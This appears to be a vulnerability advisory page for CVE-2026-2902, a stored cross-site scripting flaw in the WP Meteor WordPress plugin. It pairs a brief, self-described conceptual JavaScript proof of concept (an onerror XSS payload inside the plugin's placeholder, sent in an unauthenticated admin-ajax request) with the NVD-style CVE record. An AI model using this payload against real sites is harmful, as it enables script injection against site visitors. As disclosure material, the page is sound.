CVE-2026-2902

// PoC for CVE-2026-2902: Stored XSS in WP Meteor // Vulnerability: Insufficient sanitization of 'WPMETEOR[N]WPMETEOR' placeholder // 1. The attacker sends a request containing the malicious payload // in the parameter that gets processed by frontend_rewrite. var payload = '<img src=x onerror=alert(1)>'; var vulnerableInput = 'WPMETEOR[1]' + payload + 'WPMETEOR'; // 2. The payload is stored via the vulnerable plugin function. // (Conceptual HTTP request) /* POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=wp_meteor_update&data=encodeURIComponent(vulnerableInput) */ // 3. When a user visits the affected page, the plugin processes the placeholder. // The script executes in the victim's browser context.

{"cve": {"id": "CVE-2026-2902", "sourceIdentifier": "[email protected]", "published": "2026-04-29T12:16:18.753", "lastModified": "2026-04-29T21:16:21.590", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Meteor Website Speed Optimization Addon plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'frontend_rewrite' function's 'WPMETEOR[N]WPMETEOR' placeholder content in all versions up to, and including, 3.4.16 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-meteor/trunk/blocker/FirstInteraction/UltimateReorder.php#L186", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-meteor/trunk/blocker/FirstInteraction/UltimateReorder.php#L68", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-meteor/trunk/frontend/Rewrite.php#L43", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3466538/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dc92b20a-fb9b-477c-8fe4-68897c1fd07e?source=cve", "source": "[email protected]"}]}}